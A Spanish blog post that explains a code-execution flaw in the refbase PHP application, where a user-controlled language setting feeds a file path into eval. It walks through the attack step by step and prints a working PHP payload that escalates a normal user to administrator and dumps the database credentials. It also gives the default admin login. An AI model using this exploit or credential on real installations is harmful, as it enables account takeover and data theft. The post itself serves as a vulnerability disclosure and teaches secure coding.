viernes, 12 de mayo de 2017

Refbase: Ejecución de código PHP arbitrario

Ésta de la que hablo hoy es una de las vulnerabilidades que menos tiempo me llevó encontrar. Exceptuando aquellas que son obvias, claro está.

Y tan fácil como fue, supongo que no habré sido el primero, ni seré el último en dar con ella.

Ahí va la historia. Voy a tardar más en contarla de lo que me llevó hacerlo:

Preparativos

Uno de los indicios del grado en que se ha tenido en cuenta la seguridad a la hora de diseñar y programar una aplicación es, en mi opinión, el número de veces que en ella se usa la compilación o interpretación de código generado en tiempo de ejecución.

Para decirlo en pocas palabras, si hablamos de PHP o de JavaScript, cuántas veces se usa "eval".

Y lo bueno es que es algo fácil de determinar. Si, como a mí, te gusta la línea de comandos de Linux, puedes usar una combinación de "find", "grep" y "wc". Pero por ahora utilizaremos un editor de textos potente, como Notepad++ o Kate, que ofrezca la capacidad de buscar en todos los ficheros de un directorio y sus subdirectorios.

El que tengo instalado en mi equipo actual es el primero de ellos así que... ahí va lo que hice.

Abrí la ventana de "Buscar" y activé la pestaña de "Buscar en archivos". Allí marqué la opción de buscar como "Expresión regular" y dije que quería buscar dentro de la carpeta de refbase la cadena "eval" seguida de cualquier número de espacios (o quizá ninguno) y, finalmente, un paréntesis:
Imagen 1 - Busca
De los resultados obtenidos, la mayor parte eran del lado del cliente (JavaScript). Pero el último prometía:
Imagen 2 - Encuentra

Haciendo doble clic sobre el resultado se me abrió en la parte superior el fichero con el cursor colocado en la correspondiente línea
Imagen 3 - El punto en que todo se convierte en problemas

O sea: desactivando la salida de las instrucciones (con "ob_start" y "ob_end_clean"), se  lee un fichero cuyo nombre viene dado por $f, se coloca el resultado dentro de una cadena de texto... y se hace un eval de ésta. Un poco antes aparece cómo se determina la ruta del fichero a abrir. Se trata del fichero de adaptación de idioma:
Imagen 4 - El punto del que proceden los problemas
Estaba claro por el contexto, y por un listado de la carpeta "locales" que "$locale" contendría el nombre abreviado del idioma usado por el usuario actual:

Imagen 5 - Los "locales"
Necesitaba encontrar dónde se le asignaba valor a $locale, de modo que usé Notepad++ para buscar en todos los archivos de la carpeta la expresión regular
\$locale\s*=

 Y me encontró la siguiente línea en el fichero "includes/locales.inc.php":
$locale = getUserLanguage(); // function 'getUserLanguage()' is defined in 'include.inc.php'

Miré, pues, la definición de "getUserLanguage()" en "includes/include.inc.php".  La línea en la que se obtenían los valores hacía referencia a otra función:
$userLanguagesArray = getLanguages($loginUserID);

Para encontrar la definición de getLanguages usé la expresión regular
function\s+getLanguages

... Y la encontré en el mismo fichero. El dato lo tomaba de una consulta SQL:
$query = "SELECT language AS language_name FROM $tableUsers WHERE user_id = " . quote_smart($userID);

Pero ¿cómo se metían los datos ahí? Para averiguarlo, localicé los sitios en los que se actualiza la tabla buscando:
update\s\$tableUsers

Y, entre los resultados, encontré varios del fichero "user_options_modify.php", cuyo nombre suena a modificaciones de las opciones de usuario. Tuve suerte con el primero de ellos:
$queryArray[] = "UPDATE $tableUsers SET " 
    . "language = " . quote_smart($formVars["languageName"]) . " "
    . "WHERE user_id = " . quote_smart($userID);

La variable $formVars se rellenaba con los parámetros POST recibidos por el script, sin más comprobaciones:
foreach($_POST as $varname => $value)
        $formVars[$varname] = $value;

La cosa tenía mala pinta. Mala para la seguridad, quiero decir. Busqué la función "quote_smart" (sí: con la expresión regular "function\s+quote_smart") y su código, contenido en el fichero "includes/include.inc.php", parecía prestar atención sólo a temas relacionados con SQL injection y de formato:
function quote_smart($value)
    {
        // Remove slashes from value if 'magic_quotes_gpc = On':
        $value = stripSlashesIfMagicQuotes($value);

        // Remove any leading or trailing whitespace:
        $value = trim($value);

        // Quote & escape special chars if not a number or a numeric string:
        if (!is_numeric($value))
        {
            $value = "\"" . escapeSQL($value) . "\"";
        }
        // Quote numbers with leading zeros (which would otherwise get stripped):
        elseif (preg_match("/^0+\d+$/", $value))
        {
            $value = "\"" . $value . "\"";
        }

        return $value;
    }

De modo que la ruta de fichero no es objeto de más comprobaciones de seguridad que las que tratan de evitar la inyección de SQL. Las puertas están abiertas a un Local File Include gracias a la llamada a la función eval.

Ataque

Impaciente como soy, no pude esperar más. Entré en refbase como administrador (recuerda que las credenciales por defecto son "user@refbase.net" / "start") ...

Imagen 6 - Nótense las opciones para gestionar cuentas de usuario

... y creé una cuenta. Inmediatamente, cerré la sesión y me pregunté ¿qué podría hacer este nuevo usuario de tener malas intenciones?

Imaginemos que puede subir ficheros a un directorio, cosa que de hecho refbase permite. Pero que el programa rechaza aquellos que tienen extensión PHP. Y supongamos que no está en condiciones de explotar la vulnerabilidad de refbase de la que hablamos en "Sube que te sube".

Sea, pues, "c:\xampp\htdocs\otro" una carpeta en la que este atacante puede subir sus ficheros. Y sigamos.

Tras iniciar sesión con esta nueva identidad...
Imagen 7 - Sin opciones de gestión de usuarios
... ya no tenía las opciones propias de un adminitrador. Era sólo un simple usuario. Por ahora.

Ya como usuario de a pie, hice clic en el enlace "Options" de la parte superior de la página para configurar mis preferencias.

Imagen 8 - Mis opciones

Hice clic en el botón a la derecha de "Display Options" para modificar los ajustes.
Imagen 9 - Cambiando opciones
Usando las herramientas para desarrolladores (las de F12), seleccióné el desplegable donde se elige el idioma y, con la tecla F2, procedí a modificar su contenido, dejándolo con una única opción:

Imagen 10 - Extraño idioma
En cuanto hube terminado con el cambio, hice clic en otra etiqueta del código y vi el efecto causado
Imagen 11 - Cambio realizado


Sólo quedaba enviar el formulario con el botón "Submit" de su parte inferior. Con esta extraña lengua se consigue que la aplicación tome el fichero de idiomas, que recordemos que contiene código PHP, de un directorio seleccionado por el atacante. Dentro de él la aplicación buscará, dependiendo de si se usa codificación UTF8 o no, un fichero llamado "common_utf8.inc" o "common.inc" (ver Imagen 4).

Recordemos por otro lado, que el código a evaluar se generaba mediante una instrucción del tipo
$s = "\$loc=array(".ob_get_contents().");";
Y también que este código es ejecutado entre una instruccion "ob_start()" y una "ob_end_clean()" que impiden que se muestre cualquier salida producida mediante instrucciones "print"  y similares.

De modo que podríamos pensar en crear un fichero "common.inc" (o "common_utf8.inc") con el mismo contenido del que trae refbase para el idioma inglés y añadirle al final unas cuantas líneas:
 un contenido como el siguiente
);

ob_end_clean();
print "La cuenta de admin es: " .
    $adminLoginEmail . "<br>";

$_SESSION["loginEmail"] = $adminLoginEmail;

$___dbconfig = file_get_contents("initialize/db.inc.php");

preg_match_all(
    '/(hostName|databaseName|username|password)\s*=.*;/',
    $___dbconfig,
    $___match
);

print "<br>Datos de conexi&oacute;n:<br>";
foreach ($___match[0] as $___dato) {
    print "&nbsp;&nbsp;" .
        $___dato . "<br>";
}
print "<hr>";

ob_start(

Imagen 12 - Líneas añadidas
A poco que se lea, se ve lo que hace: muestra el identificador de la cuenta de administración de refbase, modifica la cuenta del usuario actual almacenada en las variables de sesión y muestra los datos de conexión a la base de datos. Para verlo en acción, basta con cargar una página de la aplicación:
Imagen 13 - Primera ronda

Los datos de cuenta de administración y conexión a la base de datos aparecen en la nueva cabecera que hemos añadido. Pero parece que no han cambiado las acciones que puede realizar el usuario. No hay problema: damos a volver a cargar la página y...
Imagen 14 - Segunda ronda


De todos modos, esto de obtener permisos de administración de refbase es, a estas alturas, poco relevante. Teniendo los datos de conexión a la base de datos, es posible... conectarse a ella. Y después, claro, consultar, modificar o borrar cualquier dato.

 Pero yo soy de los buenos, de modo que aquí paro.

Conclusiones

Creo que hablar a estas alturas de que hay que validar las entradas del usuario en los formularios y aceptar sólo aquellos valores que son razonables... es repetir demasiado las cosas. Pero, sin embargo, siempre hay quien no lo hace.

Por lo demás, hay otra moraleja: "Un fichero de configuración ejecutable es más peligroso que un sable".

Que una definición de idioma, una plantilla o cualquier otra cosa que sólo debería afectar a la  apariencia contenga código PHP es cosa para aficionados al riesgo: "¿Que no tienes la versión en español de refbase? Pues de aquí te puedes descargar los ficheros de idioma. Y van con un regalito".

Pronto, espero, más.







No hay comentarios:

Publicar un comentario